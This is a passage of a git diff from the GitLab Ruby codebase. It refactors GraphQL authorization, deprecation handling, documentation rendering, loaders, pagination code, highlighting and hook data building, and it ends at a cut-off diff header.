- # The field is a type representing a single object, we'll authorize
- # against the object directly
- resolved_type.object
- else
- # Resolved type is a single object that might not be loaded yet by
- # the batchloader, we'll authorize that
- resolved_type
- end
- end
-
- def filter_allowed(current_user, resolved_type, authorizing_object)
- if resolved_type.nil?
- # We're not rendering anything, for example when a record was not found
- # no need to do anything
- elsif authorizing_object
- # Authorizing fields representing scalars, or a simple field with an object
- ::Gitlab::Graphql::Lazy.with_value(authorizing_object) do |object|
- resolved_type if allowed_access?(current_user, object)
- end
- elsif @field.connection?
- ::Gitlab::Graphql::Lazy.with_value(resolved_type) do |type|
- # A connection with pagination, modify the visible nodes on the
- # connection type in place
- nodes = to_nodes(type)
- nodes.keep_if { |node| allowed_access?(current_user, node) } if nodes
- type
- end
- elsif @field.type.list? || resolved_type.is_a?(Array)
- # A simple list of rendered types each object being an object to authorize
- ::Gitlab::Graphql::Lazy.with_value(resolved_type) do |items|
- items.select do |single_object_type|
- object_type = realized(single_object_type)
- object = object_type.try(:object) || object_type
- allowed_access?(current_user, object)
- end
- end
- else
- raise "Can't authorize #{@field}"
- end
- end
-
- # Ensure that we are dealing with realized objects, not delayed promises
- def realized(thing)
- ::Gitlab::Graphql::Lazy.force(thing)
- end
-
- # Try to get the connection
- # can be at type.object or at type
- def to_nodes(type)
- if type.respond_to?(:nodes)
- type.nodes
- elsif type.respond_to?(:object)
- to_nodes(type.object)
- else
- nil
- end
- end
-
- def allowed_access?(current_user, object)
- object = realized(object)
-
- authorizations.all? do |ability|
- Ability.allowed?(current_user, ability, object)
- end
- end
-
- # Returns the singular type for relay connections.
- # This will be the type class of edges.node
- def node_type_for_relay_connection(type)
- type.unwrap.get_field('edges').type.unwrap.get_field('node').type
- end
-
- # Returns the singular type for basic connections, for example `[Types::ProjectType]`
- def node_type_for_basic_connection(type)
- type.unwrap
- end
-
- def scalar_type?
- node_type_for_basic_connection(@field.type).kind.scalar?
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/graphql/authorize/authorize_resource.rb b/lib/gitlab/graphql/authorize/authorize_resource.rb
index 6ee446011d4..4d575b964e5 100644
--- a/lib/gitlab/graphql/authorize/authorize_resource.rb
+++ b/lib/gitlab/graphql/authorize/authorize_resource.rb
@@ -5,15 +5,17 @@ module Gitlab
module Authorize
module AuthorizeResource
extend ActiveSupport::Concern
+ ConfigurationError = Class.new(StandardError)
- RESOURCE_ACCESS_ERROR = "The resource that you are attempting to access does not exist or you don't have permission to perform this action"
+ RESOURCE_ACCESS_ERROR = "The resource that you are attempting to access does " \
+ "not exist or you don't have permission to perform this action"
class_methods do
def required_permissions
# If the `#authorize` call is used on multiple classes, we add the
# permissions specified on a subclass, to the ones that were specified
- # on it's superclass.
- @required_permissions ||= if self.respond_to?(:superclass) && superclass.respond_to?(:required_permissions)
+ # on its superclass.
+ @required_permissions ||= if respond_to?(:superclass) && superclass.respond_to?(:required_permissions)
superclass.required_permissions.dup
else
[]
@@ -23,6 +25,18 @@ module Gitlab
def authorize(*permissions)
required_permissions.concat(permissions)
end
+
+ def authorizes_object?
+ defined?(@authorizes_object) ? @authorizes_object : false
+ end
+
+ def authorizes_object!
+ @authorizes_object = true
+ end
+
+ def raise_resource_not_available_error!(msg = RESOURCE_ACCESS_ERROR)
+ raise ::Gitlab::Graphql::Errors::ResourceNotAvailable, msg
+ end
end
def find_object(*args)
@@ -37,33 +51,21 @@ module Gitlab
object
end
+ # authorizes the object using the current class authorization.
def authorize!(object)
- unless authorized_resource?(object)
- raise_resource_not_available_error!
- end
+ raise_resource_not_available_error! unless authorized_resource?(object)
end
- # this was named `#authorized?`, however it conflicts with the native
- # graphql gem version
- # TODO consider adopting the gem's built in authorization system
- # https://gitlab.com/gitlab-org/gitlab/issues/13984
def authorized_resource?(object)
# Sanity check. We don't want to accidentally allow a developer to authorize
# without first adding permissions to authorize against
- if self.class.required_permissions.empty?
- raise Gitlab::Graphql::Errors::ArgumentError, "#{self.class.name} has no authorizations"
- end
+ raise ConfigurationError, "#{self.class.name} has no authorizations" if self.class.authorization.none?
- self.class.required_permissions.all? do |ability|
- # The actions could be performed across multiple objects. In which
- # case the current user is common, and we could benefit from the
- # caching in `DeclarativePolicy`.
- Ability.allowed?(current_user, ability, object, scope: :user)
- end
+ self.class.authorization.ok?(object, current_user)
end
- def raise_resource_not_available_error!(msg = RESOURCE_ACCESS_ERROR)
- raise Gitlab::Graphql::Errors::ResourceNotAvailable, msg
+ def raise_resource_not_available_error!(*args)
+ self.class.raise_resource_not_available_error!(*args)
end
end
end
diff --git a/lib/gitlab/graphql/authorize/connection_filter_extension.rb b/lib/gitlab/graphql/authorize/connection_filter_extension.rb
new file mode 100644
index 00000000000..c75510df3e3
--- /dev/null
+++ b/lib/gitlab/graphql/authorize/connection_filter_extension.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ module Authorize
+ class ConnectionFilterExtension < GraphQL::Schema::FieldExtension
+ class Redactor
+ include ::Gitlab::Graphql::Laziness
+
+ def initialize(type, context)
+ @type = type
+ @context = context
+ end
+
+ def redact(nodes)
+ remove_unauthorized(nodes)
+
+ nodes
+ end
+
+ def active?
+ # some scalar types (such as integers) do not respond to :authorized?
+ return false unless @type.respond_to?(:authorized?)
+
+ auth = @type.try(:authorization)
+
+ auth.nil? || auth.any?
+ end
+
+ private
+
+ def remove_unauthorized(nodes)
+ nodes
+ .map! { |lazy| force(lazy) }
+ .keep_if { |forced| @type.authorized?(forced, @context) }
+ end
+ end
+
+ def after_resolve(value:, context:, **rest)
+ return value if value.is_a?(GraphQL::Execution::Execute::Skip)
+
+ if @field.connection?
+ redact_connection(value, context)
+ elsif @field.type.list?
+ redact_list(value.to_a, context) unless value.nil?
+ end
+
+ value
+ end
+
+ def redact_connection(conn, context)
+ redactor = Redactor.new(@field.type.unwrap.node_type, context)
+ return unless redactor.active?
+
+ conn.redactor = redactor if conn.respond_to?(:redactor=)
+ end
+
+ def redact_list(list, context)
+ redactor = Redactor.new(@field.type.unwrap, context)
+ redactor.redact(list) if redactor.active?
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/authorize/instrumentation.rb b/lib/gitlab/graphql/authorize/instrumentation.rb
deleted file mode 100644
index 15ecc3b04f0..00000000000
--- a/lib/gitlab/graphql/authorize/instrumentation.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Graphql
- module Authorize
- class Instrumentation
- # Replace the resolver for the field with one that will only return the
- # resolved object if the permissions check is successful.
- def instrument(_type, field)
- service = AuthorizeFieldService.new(field)
-
- if service.authorizations?
- field.redefine { resolve(service.authorized_resolve) }
- else
- field
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/graphql/authorize/object_authorization.rb b/lib/gitlab/graphql/authorize/object_authorization.rb
new file mode 100644
index 00000000000..0bc87108871
--- /dev/null
+++ b/lib/gitlab/graphql/authorize/object_authorization.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ module Authorize
+ class ObjectAuthorization
+ attr_reader :abilities
+
+ def initialize(abilities)
+ @abilities = Array.wrap(abilities).flatten
+ end
+
+ def none?
+ abilities.empty?
+ end
+
+ def any?
+ abilities.present?
+ end
+
+ def ok?(object, current_user)
+ return true if none?
+
+ subject = object.try(:declarative_policy_subject) || object
+ abilities.all? do |ability|
+ Ability.allowed?(current_user, ability, subject)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/deprecation.rb b/lib/gitlab/graphql/deprecation.rb
new file mode 100644
index 00000000000..e0176e2d6e0
--- /dev/null
+++ b/lib/gitlab/graphql/deprecation.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ class Deprecation
+ REASONS = {
+ renamed: 'This was renamed.',
+ discouraged: 'Use of this is not recommended.'
+ }.freeze
+
+ include ActiveModel::Validations
+
+ validates :milestone, presence: true, format: { with: /\A\d+\.\d+\z/, message: 'must be milestone-ish' }
+ validates :reason, presence: true
+ validates :reason,
+ format: { with: /.*[^.]\z/, message: 'must not end with a period' },
+ if: :reason_is_string?
+ validate :milestone_is_string
+ validate :reason_known_or_string
+
+ def self.parse(options)
+ new(**options) if options
+ end
+
+ def initialize(reason: nil, milestone: nil, replacement: nil)
+ @reason = reason.presence
+ @milestone = milestone.presence
+ @replacement = replacement.presence
+ end
+
+ def ==(other)
+ return false unless other.is_a?(self.class)
+
+ [reason_text, milestone, replacement] == [:reason_text, :milestone, :replacement].map do |attr|
+ other.send(attr) # rubocop: disable GitlabSecurity/PublicSend
+ end
+ end
+ alias_method :eql, :==
+
+ def markdown(context: :inline)
+ parts = [
+ "#{deprecated_in(format: :markdown)}.",
+ reason_text,
+ replacement.then { |r| "Use: `#{r}`." if r }
+ ].compact
+
+ case context
+ when :block
+ ['WARNING:', *parts].join("\n")
+ when :inline
+ parts.join(' ')
+ end
+ end
+
+ def edit_description(original_description)
+ @original_description = original_description
+ return unless original_description
+
+ original_description + description_suffix
+ end
+
+ def original_description
+ return unless @original_description
+ return @original_description if @original_description.ends_with?('.')
+
+ "#{@original_description}."
+ end
+
+ def deprecation_reason
+ [
+ reason_text,
+ replacement && "Please use `#{replacement}`.",
+ "#{deprecated_in}."
+ ].compact.join(' ')
+ end
+
+ private
+
+ attr_reader :reason, :milestone, :replacement
+
+ def milestone_is_string
+ return if milestone.is_a?(String)
+
+ errors.add(:milestone, 'must be a string')
+ end
+
+ def reason_known_or_string
+ return if REASONS.key?(reason)
+ return if reason_is_string?
+
+ errors.add(:reason, 'must be a known reason or a string')
+ end
+
+ def reason_is_string?
+ reason.is_a?(String)
+ end
+
+ def reason_text
+ @reason_text ||= REASONS[reason] || "#{reason.to_s.strip}."
+ end
+
+ def description_suffix
+ " #{deprecated_in}: #{reason_text}"
+ end
+
+ def deprecated_in(format: :plain)
+ case format
+ when :plain
+ "Deprecated in #{milestone}"
+ when :markdown
+ "**Deprecated** in #{milestone}"
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/docs/helper.rb b/lib/gitlab/graphql/docs/helper.rb
index e9ff85d9ca9..f4173e26224 100644
--- a/lib/gitlab/graphql/docs/helper.rb
+++ b/lib/gitlab/graphql/docs/helper.rb
@@ -27,7 +27,10 @@ module Gitlab
MD
end
- def render_name_and_description(object, level = 3)
+ # Template methods:
+ # Methods that return chunks of Markdown for insertion into the document
+
+ def render_name_and_description(object, owner: nil, level: 3)
content = []
content << "#{'#' * level} `#{object[:name]}`"
@@ -35,10 +38,22 @@ module Gitlab
if object[:description].present?
desc = object[:description].strip
desc += '.' unless desc.ends_with?('.')
+ end
+
+ if object[:is_deprecated]
+ owner = Array.wrap(owner)
+ deprecation = schema_deprecation(owner, object[:name])
+ content << (deprecation&.original_description || desc)
+ content << render_deprecation(object, owner, :block)
+ else
content << desc
end
- content.join("\n\n")
+ content.compact.join("\n\n")
+ end
+
+ def render_return_type(query)
+ "Returns #{render_field_type(query[:type])}.\n"
end
def sorted_by_name(objects)
@@ -47,39 +62,25 @@ module Gitlab
objects.sort_by { |o| o[:name] }
end
- def render_field(field)
- row(render_name(field), render_field_type(field[:type]), render_description(field))
+ def render_field(field, owner)
+ render_row(
+ render_name(field, owner),
+ render_field_type(field[:type]),
+ render_description(field, owner, :inline)
+ )
end
- def render_enum_value(value)
- row(render_name(value), render_description(value))
+ def render_enum_value(enum, value)
+ render_row(render_name(value, enum[:name]), render_description(value, enum[:name], :inline))
end
- def row(*values)
- "| #{values.join(' | ')} |"
+ def render_union_member(member)
+ "- [`#{member}`](##{member.downcase})"
end
- def render_name(object)
- rendered_name = "`#{object[:name]}`"
- rendered_name += ' **{warning-solid}**' if object[:is_deprecated]
- rendered_name
- end
+ # QUERIES:
- # Returns the object description. If the object has been deprecated,
- # the deprecation reason will be returned in place of the description.
- def render_description(object)
- return object[:description] unless object[:is_deprecated]
-
- "**Deprecated:** #{object[:deprecation_reason]}"
- end
-
- def render_field_type(type)
- "[`#{type[:info]}`](##{type[:name].downcase})"
- end
-
- def render_return_type(query)
- "Returns #{render_field_type(query[:type])}.\n"
- end
+ # Methods that return parts of the schema, or related information:
# We are ignoring connections and built in types for now,
# they should be added when queries are generated.
@@ -103,6 +104,83 @@ module Gitlab
!enum_type[:name].in?(%w[__DirectiveLocation __TypeKind])
end
end
+
+ private # DO NOT CALL THESE METHODS IN TEMPLATES
+
+ # Template methods
+
+ def render_row(*values)
+ "| #{values.map { |val| val.to_s.squish }.join(' | ')} |"
+ end
+
+ def render_name(object, owner = nil)
+ rendered_name = "`#{object[:name]}`"
+ rendered_name += ' **{warning-solid}**' if object[:is_deprecated]
+ rendered_name
+ end
+
+ # Returns the object description. If the object has been deprecated,
+ # the deprecation reason will be returned in place of the description.
+ def render_description(object, owner = nil, context = :block)
+ owner = Array.wrap(owner)
+ return render_deprecation(object, owner, context) if object[:is_deprecated]
+ return if object[:description].blank?
+
+ desc = object[:description].strip
+ desc += '.' unless desc.ends_with?('.')
+ desc
+ end
+
+ def render_deprecation(object, owner, context)
+ deprecation = schema_deprecation(owner, object[:name])
+ return deprecation.markdown(context: context) if deprecation
+
+ reason = object[:deprecation_reason] || 'Use of this is deprecated.'
+ "**Deprecated:** #{reason}"
+ end
+
+ def render_field_type(type)
+ "[`#{type[:info]}`](##{type[:name].downcase})"
+ end
+
+ # Queries
+
+ # returns the deprecation information for a field or argument
+ # See: Gitlab::Graphql::Deprecation
+ def schema_deprecation(type_name, field_name)
+ schema_member(type_name, field_name)&.deprecation
+ end
+
+ # Return a part of the schema.
+ #
+ # This queries the Schema by owner and name to find:
+ #
+ # - fields (e.g. `schema_member('Query', 'currentUser')`)
+ # - arguments (e.g. `schema_member(['Query', 'project], 'fullPath')`)
+ def schema_member(type_name, field_name)
+ type_name = Array.wrap(type_name)
+ if type_name.size == 2
+ arg_name = field_name
+ type_name, field_name = type_name
+ else
+ type_name = type_name.first
+ arg_name = nil
+ end
+
+ return if type_name.nil? || field_name.nil?
+
+ type = schema.types[type_name]
+ return unless type && type.kind.fields?
+
+ field = type.fields[field_name]
+ return field if arg_name.nil?
+
+ args = field.arguments
+ is_mutation = field.mutation && field.mutation <= ::Mutations::BaseMutation
+ args = args['input'].type.unwrap.arguments if is_mutation
+
+ args[arg_name]
+ end
end
end
end
diff --git a/lib/gitlab/graphql/docs/renderer.rb b/lib/gitlab/graphql/docs/renderer.rb
index 6abd56c89c6..497567f9389 100644
--- a/lib/gitlab/graphql/docs/renderer.rb
+++ b/lib/gitlab/graphql/docs/renderer.rb
@@ -10,17 +10,20 @@ module Gitlab
# It uses graphql-docs helpers and schema parser, more information in https://github.com/gjtorikian/graphql-docs.
#
# Arguments:
- # schema - the GraphQL schema definition. For GitLab should be: GitlabSchema.graphql_definition
+ # schema - the GraphQL schema definition. For GitLab should be: GitlabSchema
# output_dir: The folder where the markdown files will be saved
# template: The path of the haml template to be parsed
class Renderer
include Gitlab::Graphql::Docs::Helper
+ attr_reader :schema
+
def initialize(schema, output_dir:, template:)
@output_dir = output_dir
@template = template
@layout = Haml::Engine.new(File.read(template))
- @parsed_schema = GraphQLDocs::Parser.new(schema, {}).parse
+ @parsed_schema = GraphQLDocs::Parser.new(schema.graphql_definition, {}).parse
+ @schema = schema
end
def contents
diff --git a/lib/gitlab/graphql/docs/templates/default.md.haml b/lib/gitlab/graphql/docs/templates/default.md.haml
index 847f1777b08..fe73297d0d9 100644
--- a/lib/gitlab/graphql/docs/templates/default.md.haml
+++ b/lib/gitlab/graphql/docs/templates/default.md.haml
@@ -27,7 +27,7 @@
\
- sorted_by_name(queries).each do |query|
- = render_name_and_description(query)
+ = render_name_and_description(query, owner: 'Query')
\
= render_return_type(query)
- unless query[:arguments].empty?
@@ -35,7 +35,7 @@
~ "| Name | Type | Description |"
~ "| ---- | ---- | ----------- |"
- sorted_by_name(query[:arguments]).each do |argument|
- = render_field(argument)
+ = render_field(argument, query[:type][:name])
\
:plain
@@ -58,7 +58,7 @@
~ "| Field | Type | Description |"
~ "| ----- | ---- | ----------- |"
- sorted_by_name(type[:fields]).each do |field|
- = render_field(field)
+ = render_field(field, type[:name])
\
:plain
@@ -79,7 +79,7 @@
~ "| Value | Description |"
~ "| ----- | ----------- |"
- sorted_by_name(enum[:values]).each do |value|
- = render_enum_value(value)
+ = render_enum_value(enum, value)
\
:plain
@@ -121,12 +121,12 @@
\
- graphql_union_types.each do |type|
- = render_name_and_description(type, 4)
+ = render_name_and_description(type, level: 4)
\
One of:
\
- - type[:possible_types].each do |type_name|
- ~ "- [`#{type_name}`](##{type_name.downcase})"
+ - type[:possible_types].each do |member|
+ = render_union_member(member)
\
:plain
@@ -134,7 +134,7 @@
\
- graphql_interface_types.each do |type|
- = render_name_and_description(type, 4)
+ = render_name_and_description(type, level: 4)
\
Implementations:
\
@@ -144,5 +144,5 @@
~ "| Field | Type | Description |"
~ "| ----- | ---- | ----------- |"
- sorted_by_name(type[:fields] + type[:connections]).each do |field|
- = render_field(field)
+ = render_field(field, type[:name])
\
diff --git a/lib/gitlab/graphql/loaders/batch_lfs_oid_loader.rb b/lib/gitlab/graphql/loaders/batch_lfs_oid_loader.rb
index 67511c124e4..1945388cdd4 100644
--- a/lib/gitlab/graphql/loaders/batch_lfs_oid_loader.rb
+++ b/lib/gitlab/graphql/loaders/batch_lfs_oid_loader.rb
@@ -5,7 +5,8 @@ module Gitlab
module Loaders
class BatchLfsOidLoader
def initialize(repository, blob_id)
- @repository, @blob_id = repository, blob_id
+ @repository = repository
+ @blob_id = blob_id
end
def find
diff --git a/lib/gitlab/graphql/loaders/batch_model_loader.rb b/lib/gitlab/graphql/loaders/batch_model_loader.rb
index 9b85ba164d4..805864cdd4c 100644
--- a/lib/gitlab/graphql/loaders/batch_model_loader.rb
+++ b/lib/gitlab/graphql/loaders/batch_model_loader.rb
@@ -7,7 +7,8 @@ module Gitlab
attr_reader :model_class, :model_id
def initialize(model_class, model_id)
- @model_class, @model_id = model_class, model_id
+ @model_class = model_class
+ @model_id = model_id
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/graphql/loaders/full_path_model_loader.rb b/lib/gitlab/graphql/loaders/full_path_model_loader.rb
index 0aa237c78de..26c1ce64a83 100644
--- a/lib/gitlab/graphql/loaders/full_path_model_loader.rb
+++ b/lib/gitlab/graphql/loaders/full_path_model_loader.rb
@@ -9,7 +9,8 @@ module Gitlab
attr_reader :model_class, :full_path
def initialize(model_class, full_path)
- @model_class, @full_path = model_class, full_path
+ @model_class = model_class
+ @full_path = full_path
end
def find
diff --git a/lib/gitlab/graphql/negatable_arguments.rb b/lib/gitlab/graphql/negatable_arguments.rb
new file mode 100644
index 00000000000..b4ab31ed51a
--- /dev/null
+++ b/lib/gitlab/graphql/negatable_arguments.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ module NegatableArguments
+ class TypeDefiner
+ def initialize(resolver_class, type_definition)
+ @resolver_class = resolver_class
+ @type_definition = type_definition
+ end
+
+ def define!
+ negated_params_type.instance_eval(&@type_definition)
+ end
+
+ def negated_params_type
+ @negated_params_type ||= existing_type || build_type
+ end
+
+ private
+
+ def existing_type
+ ::Types.const_get(type_class_name, false) if ::Types.const_defined?(type_class_name)
+ end
+
+ def build_type
+ klass = Class.new(::Types::BaseInputObject)
+ ::Types.const_set(type_class_name, klass)
+ klass
+ end
+
+ def type_class_name
+ @type_class_name ||= begin
+ base_name = @resolver_class.name.sub('Resolvers::', '')
+ base_name + 'NegatedParamsType'
+ end
+ end
+ end
+
+ def negated(param_key: :not, &block)
+ definer = ::Gitlab::Graphql::NegatableArguments::TypeDefiner.new(self, block)
+ definer.define!
+
+ argument param_key, definer.negated_params_type,
+ required: false,
+ description: <<~MD
+ List of negated arguments.
+ Warning: this argument is experimental and a subject to change in future.
+ MD
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb b/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb
index bd785880b57..6645dac36fa 100644
--- a/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb
+++ b/lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb
@@ -13,7 +13,11 @@ module Gitlab
# @param [Symbol] before_or_after indicates whether we want
# items :before the cursor or :after the cursor
def initialize(arel_table, order_list, values, operators, before_or_after)
- @arel_table, @order_list, @values, @operators, @before_or_after = arel_table, order_list, values, operators, before_or_after
+ @arel_table = arel_table
+ @order_list = order_list
+ @values = values
+ @operators = operators
+ @before_or_after = before_or_after
@before_or_after = :after unless [:after, :before].include?(@before_or_after)
end
diff --git a/lib/gitlab/graphql/pagination/keyset/conditions/not_null_condition.rb b/lib/gitlab/graphql/pagination/keyset/conditions/not_null_condition.rb
index 3164598b7b9..ec70f5c5a24 100644
--- a/lib/gitlab/graphql/pagination/keyset/conditions/not_null_condition.rb
+++ b/lib/gitlab/graphql/pagination/keyset/conditions/not_null_condition.rb
@@ -30,15 +30,13 @@ module Gitlab
# ex: " OR (relative_position = 23 AND id > 500)"
def second_attribute_condition
- condition = <<~SQL
+ <<~SQL
OR (
#{table_condition(order_list.first, values.first, '=').to_sql}
AND
#{table_condition(order_list[1], values[1], operators[1]).to_sql}
)
SQL
-
- condition
end
# ex: " OR (relative_position IS NULL)"
diff --git a/lib/gitlab/graphql/pagination/keyset/conditions/null_condition.rb b/lib/gitlab/graphql/pagination/keyset/conditions/null_condition.rb
index fa25181d663..1aae1020e79 100644
--- a/lib/gitlab/graphql/pagination/keyset/conditions/null_condition.rb
+++ b/lib/gitlab/graphql/pagination/keyset/conditions/null_condition.rb
@@ -14,15 +14,13 @@ module Gitlab
# ex: "(relative_position IS NULL AND id > 500)"
def first_attribute_condition
- condition = <<~SQL
+ <<~SQL
(
#{table_condition(order_list.first, nil, 'is_null').to_sql}
AND
#{table_condition(order_list[1], values[1], operators[1]).to_sql}
)
SQL
-
- condition
end
# ex: " OR (relative_position IS NOT NULL)"
diff --git a/lib/gitlab/graphql/pagination/keyset/query_builder.rb b/lib/gitlab/graphql/pagination/keyset/query_builder.rb
index 29169449843..ee9c902c735 100644
--- a/lib/gitlab/graphql/pagination/keyset/query_builder.rb
+++ b/lib/gitlab/graphql/pagination/keyset/query_builder.rb
@@ -6,7 +6,10 @@ module Gitlab
module Keyset
class QueryBuilder
def initialize(arel_table, order_list, decoded_cursor, before_or_after)
- @arel_table, @order_list, @decoded_cursor, @before_or_after = arel_table, order_list, decoded_cursor, before_or_after
+ @arel_table = arel_table
+ @order_list = order_list
+ @decoded_cursor = decoded_cursor
+ @before_or_after = before_or_after
if order_list.empty?
raise ArgumentError.new('No ordering scopes have been supplied')
diff --git a/lib/gitlab/graphql/queries.rb b/lib/gitlab/graphql/queries.rb
index fcf293fb13e..74f55abccbc 100644
--- a/lib/gitlab/graphql/queries.rb
+++ b/lib/gitlab/graphql/queries.rb
@@ -224,11 +224,9 @@ module Gitlab
frag_path = frag_path.gsub(DOTS_RE) do |dots|
rel_dir(dots.split('/').count)
end
- frag_path = frag_path.gsub(IMPLICIT_ROOT) do
+ frag_path.gsub(IMPLICIT_ROOT) do
(Rails.root / 'app').to_s + '/'
end
-
- frag_path
end
def rel_dir(n_steps_up)
diff --git a/lib/gitlab/graphql/query_analyzers/logger_analyzer.rb b/lib/gitlab/graphql/query_analyzers/logger_analyzer.rb
index 8acd27869a9..c6f22e0bd4f 100644
--- a/lib/gitlab/graphql/query_analyzers/logger_analyzer.rb
+++ b/lib/gitlab/graphql/query_analyzers/logger_analyzer.rb
@@ -12,6 +12,7 @@ module Gitlab
def initial_value(query)
variables = process_variables(query.provided_variables)
default_initial_values(query).merge({
+ operation_name: query.operation_name,
query_string: query.query_string,
variables: variables
})
@@ -20,8 +21,8 @@ module Gitlab
default_initial_values(query)
end
- def call(memo, visit_type, irep_node)
- RequestStore.store[:graphql_logs] = memo
+ def call(memo, *)
+ memo
end
def final_value(memo)
@@ -37,6 +38,8 @@ module Gitlab
memo[:used_fields] = field_usages.first
memo[:used_deprecated_fields] = field_usages.second
+ RequestStore.store[:graphql_logs] ||= []
+ RequestStore.store[:graphql_logs] << memo
GraphqlLogger.info(memo.except!(:time_started, :query))
rescue => e
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
diff --git a/lib/gitlab/health_checks/gitaly_check.rb b/lib/gitlab/health_checks/gitaly_check.rb
index e780bf8a986..f5f142c251f 100644
--- a/lib/gitlab/health_checks/gitaly_check.rb
+++ b/lib/gitlab/health_checks/gitaly_check.rb
@@ -5,7 +5,7 @@ module Gitlab
class GitalyCheck
extend BaseAbstractCheck
- METRIC_PREFIX = 'gitaly_health_check'.freeze
+ METRIC_PREFIX = 'gitaly_health_check'
class << self
def readiness
diff --git a/lib/gitlab/highlight.rb b/lib/gitlab/highlight.rb
index 40dee0142b9..765d3dfca56 100644
--- a/lib/gitlab/highlight.rb
+++ b/lib/gitlab/highlight.rb
@@ -20,7 +20,9 @@ module Gitlab
@blob_content = blob_content
end
- def highlight(text, continue: true, plain: false)
+ def highlight(text, continue: false, plain: false, context: {})
+ @context = context
+
plain ||= text.length > MAXIMUM_TEXT_HIGHLIGHT_SIZE
highlighted_text = highlight_text(text, continue: continue, plain: plain)
@@ -31,13 +33,15 @@ module Gitlab
def lexer
@lexer ||= custom_language || begin
Rouge::Lexer.guess(filename: @blob_name, source: @blob_content).new
- rescue Rouge::Guesser::Ambiguous => e
- e.alternatives.min_by(&:tag)
+ rescue Rouge::Guesser::Ambiguous => e
+ e.alternatives.min_by(&:tag)
end
end
private
+ attr_reader :context
+
def custom_language
return unless @language
@@ -53,13 +57,13 @@ module Gitlab
end
def highlight_plain(text)
- @formatter.format(Rouge::Lexers::PlainText.lex(text)).html_safe
+ @formatter.format(Rouge::Lexers::PlainText.lex(text), context).html_safe
end
def highlight_rich(text, continue: true)
tag = lexer.tag
tokens = lexer.lex(text, continue: continue)
- Timeout.timeout(timeout_time) { @formatter.format(tokens, tag: tag).html_safe }
+ Timeout.timeout(timeout_time) { @formatter.format(tokens, context.merge(tag: tag)).html_safe }
rescue Timeout::Error => e
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
highlight_plain(text)
diff --git a/lib/gitlab/hook_data/user_builder.rb b/lib/gitlab/hook_data/user_builder.rb
new file mode 100644
index 00000000000..537245e948f
--- /dev/null
+++ b/lib/gitlab/hook_data/user_builder.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module HookData
+ class UserBuilder < BaseBuilder
+ alias_method :user, :object
+
+ # Sample data
+ # {
+ # :created_at=>"2021-04-02T10:00:26Z",
+ # :updated_at=>"2021-04-02T10:00:26Z",
+ # :event_name=>"user_create",
+ # :name=>"John Doe",
+ # :email=>"john@example.com",
+ # :user_id=>1,
+ # :username=>"johndoe"
+ # }
+
+ def build(event)
+ [
+ timestamps_data,
+ event_data(event),
+ user_data,
+ event_specific_user_data(event)
+ ].reduce(:merge)
+ end
+
+ private
+
+ def user_data
+ {
+ name: user.name,
+ email: user.email,
+ user_id: user.id,
+ username: user.username
+ }
+ end
+
+ def event_specific_user_data(event)
+ case event
+ when :rename
+ { old_username: user.username_before_last_save }
+ when :failed_login
+ { state: user.state }
+ else
+ {}
+ end
+ end
+ end
+ end
+end
+
+Gitlab::HookData::UserBuilder.prepend_if_ee('EE::Gitlab::HookData::UserBuilder')
diff --git a/lib/gitlab/http_connection_adapter.rb b/lib/gitlab/http_connection_adapter.rb
index 37f618ae879..f7a3da53fdb 100644
--- a/lib/gitlab/http_connection_adapter.rb
+++ b/lib/gitlab/http_connection_adapter.rb
@@ -17,14 +17,6 @@ module Gitlab
def connection
@uri, hostname = validate_url!(uri)
- if options.key?(:http_proxyaddr)
- proxy_uri_with_port = uri_with_port(options[:http_proxyaddr], options[:http_proxyport])
- proxy_uri_validated = validate_url!(proxy_uri_with_port).first
-
- @options[:http_proxyaddr] = proxy_uri_validated.omit(:port).to_s
- @options[:http_proxyport] = proxy_uri_validated.port
- end
-
super.tap do |http|
http.hostname_override = hostname if hostname
end
@@ -53,11 +45,5 @@ module Gitlab
def allow_settings_local_requests?
Gitlab::CurrentSettings.allow_local_requests_from_web_hooks_and_services?
end
-
- def uri_with_port(address, port)
- uri = Addressable::URI.parse(address)
- uri.port = port if port.present?
- uri
- end
end
end
diff --git a/lib/gitlab/import_export/base/relation_factory.rb b/lib/gitlab/import_export/base/relation_factory.rb
index d60bc79df4c..05a4a8f4c93 100644
--- a/lib/gitlab/import_export/base/relation_factory.rb
+++ b/lib/gitlab/import_export/base/relation_factory.rb
@@ -6,7 +6,7 @@ module Gitlab
class RelationFactory
include Gitlab::Utils::StrongMemoize
- IMPORTED_OBJECT_MAX_RETRIES = 5.freeze
+ IMPORTED_OBJECT_MAX_RETRIES = 5
OVERRIDES = {}.freeze
EXISTING_OBJECT_RELATIONS = %i[].freeze
diff --git a/lib/gitlab/import_export/project/import_export.yml b/lib/gitlab/import_export/project/import_export.yml
index 778b42f4358..42d32593cbd 100644
--- a/lib/gitlab/import_export/project/import_export.yml
+++ b/lib/gitlab/import_export/project/import_export.yml
@@ -265,6 +265,7 @@ excluded_attributes:
- :issue_id
push_event_payload:
- :event_id
+ - :event_id_convert_to_bigint
project_badges:
- :group_id
resource_label_events:
@@ -287,6 +288,7 @@ excluded_attributes:
- :label_id
events:
- :target_id
+ - :id_convert_to_bigint
timelogs:
- :issue_id
- :merge_request_id
diff --git a/lib/gitlab/import_export/uploads_manager.rb b/lib/gitlab/import_export/uploads_manager.rb
index 428bcbe8dc5..2f15cdd7506 100644
